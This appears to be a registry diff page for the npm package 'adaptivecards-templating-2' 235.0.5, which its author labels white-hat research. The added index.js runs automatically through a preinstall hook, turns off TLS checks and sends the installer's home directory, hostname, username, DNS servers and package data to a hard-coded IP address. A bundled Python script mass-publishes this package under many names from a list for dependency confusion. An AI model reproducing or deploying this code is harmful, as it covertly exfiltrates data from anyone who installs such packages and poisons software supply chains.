adaptivecards-templating-2 235.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of adaptivecards-templating-2 might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
2
+ process.env["NODE_NO_WARNINGS"] = 1;
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "52.188.192.212", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 443,
29
+ path: "/trackeddata",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "adaptivecards-templating-2",
3
+ "version": "235.0.5",
4
+ "description": "MSRC White Hat Researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "nullg0re",
11
+ "license": "ISC",
12
+ "keywords": []
13
+ }
@@ -0,0 +1,71 @@
1
+ #!/usr/bin/python3
2
+ import subprocess
3
+ from colorama import Fore, Style
4
+ from time import sleep
5
+ from random import randint
6
+
7
+ def load_packages():
8
+ file = '../sorted-packages.txt'
9
+ packages = []
10
+ f = open(file, 'r')
11
+ for line in f:
12
+ packages.append(line.strip())
13
+ f.close()
14
+ return packages
15
+
16
+ def install_and_publish_package(package):
17
+ # create NPM package.json file for malicious package
18
+ content = """{
19
+ "name": "---PACKAGE---",
20
+ "version": "235.0.5",
21
+ "description": "MSRC White Hat Researcher",
22
+ "main": "index.js",
23
+ "scripts": {
24
+ "test": "echo \\"Error: no test specified\\" && exit 1",
25
+ "preinstall": "node index.js"
26
+ },
27
+ "author": "nullg0re",
28
+ "license": "ISC"
29
+ }"""
30
+ output_file = "/home/tgore/WORK/Research/CTU-DR-MSFT/subdomains/dependency-confusion/malicious-package/package.json"
31
+ new_content = content.replace('---PACKAGE---', package)
32
+ f = open(output_file, 'w')
33
+ f.write(new_content)
34
+ f.close()
35
+ # npm init and publish
36
+ cmd1 = "npm init -y -f"
37
+ cmd2 = "npm publish"
38
+ print (f"{Fore.YELLOW}[ * ] Initializing Package: {package}{Style.RESET_ALL}")
39
+ init_output = subprocess.check_output(cmd1, shell=True).decode()
40
+ print (f"{Fore.YELLOW}[ * ] Publishing package...{Style.RESET_ALL}")
41
+ output = subprocess.check_output(cmd2, shell=True).decode()
42
+ if "429" in output:
43
+ print (f"{Fore.MAGENTA}[ 429 ] 429 Error for package: {package}{Style.RESET_ALL}")
44
+ for i in range(0, 65):
45
+ print (f"{Fore.MAGENTA}[ 429 ] Retrying in {i} seconds...{Style.RESET_ALL}", end='\r')
46
+ sleep(1)
47
+ new_output = subprocess.check_output(cmd2, shell=True).decode()
48
+ if "429" in new_output:
49
+ print (f"{Fore.MAGENTA}[ * ] Still failing... Saving to disk{Style.RESET_ALL}")
50
+ f = open('../rate-limited-packages.txt', 'a+')
51
+ f.write(f"{package}\n")
52
+ f.close()
53
+ elif "ERR" in new_output:
54
+ print (output)
55
+ else:
56
+ print (f"{Fore.GREEN}[ + ] Successfully Published Package: {package}{Style.RESET_ALL}")
57
+ elif "ERR" in output:
58
+ print (output)
59
+ else:
60
+ print (f"{Fore.GREEN}[ + ] Successfully Published Package: {package}{Style.RESET_ALL}")
61
+
62
+ def main():
63
+ print (f"{Fore.YELLOW}[ * ] Loading packages...{Style.RESET_ALL}")
64
+ packages = load_packages()
65
+ for package in packages:
66
+ sleep(randint(45,60))
67
+ install_and_publish_package(package)
68
+ print (f"{Fore.GREEN}[ + ] Finished! God Speed{Style.RESET_ALL}")
69
+
70
+ if __name__ == '__main__':
71
+ main()